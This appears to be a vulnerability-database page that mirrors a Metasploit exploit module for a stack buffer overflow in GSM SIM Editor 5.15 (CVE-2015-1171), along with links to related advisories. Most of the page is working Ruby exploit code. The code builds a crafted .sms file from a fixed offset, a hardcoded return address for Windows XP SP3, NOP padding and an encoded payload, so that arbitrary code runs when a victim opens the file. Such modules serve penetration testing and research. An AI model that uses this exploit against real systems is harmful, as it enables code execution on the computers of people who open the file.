Lucene search
K

GSM SIM Editor 5.15 Buffer Overflow

🗓️ 14 Apr 2012 05:12:48Reported by Ruben Alejandro, chap0 <[email protected]>, Lincoln <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 24 Views

GSM SIM Editor 5.15 Buffer Overflow allows arbitrary code execution when opening a specially crafted .sms file

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Sim Editor 6.6 Buffer Overflow Exploit
17 Jan 201500:00
zdt
Circl
CVE-2015-1171
29 May 201815:50
circl
CNVD
GSM SIM Utility Stack Buffer Overflow Vulnerability
1 Sep 201500:00
cnvd
CVE
CVE-2015-1171
28 Aug 201520:57
cve
Cvelist
CVE-2015-1171
28 Aug 201520:57
cvelist
Exploit DB
Sim Editor 6.6 - Local Stack Buffer Overflow
16 Jan 201500:00
exploitdb
exploitpack
Sim Editor 6.6 - Local Stack Buffer Overflow
16 Jan 201500:00
exploitpack
NVD
CVE-2015-1171
28 Aug 201521:59
nvd
Packet Storm
Sim Editor 6.6 Buffer Overflow
16 Jan 201500:00
packetstorm
Prion
Stack overflow
28 Aug 201521:59
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'GSM SIM Editor 5.15 Buffer Overflow',
      'Description'     => %q{
          This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.
        When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer
        overflow occurs which allows an attacker to execute arbitrary code.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Ruben Alejandro',
          'chap0 <contact.chap0[at]gmail.com>',
          'Lincoln <lincoln[at]corelan.be>'
        ],
      'References'      =>
        [
          [ 'CVE', '2015-1171' ],
          [ 'OSVDB', '81161' ],
          [ 'EDB', '14258' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process',
        },
      'Platform'        => 'win',
      'Payload'         =>
        {
          'Space' => 2000,
          'BadChars' => "\x00",
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment #add esp, -3500
        },
      'Targets'         =>
        [
          [ 'Windows XP SP3',
            {
              'Ret'    => 0x00405201, # call esp - SIMEditor.exe
              'Offset' => 810
            }
          ]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => '2010-07-07',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']),
      ])

  end

  def exploit
    buffer =  rand_text_numeric(target['Offset'])
    buffer << [target.ret].pack('V').unpack("H*")[0]
    buffer << make_nops(30).unpack("H*")[0]
    buffer << payload.encoded.unpack("H*")[0]

    file_create(buffer)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation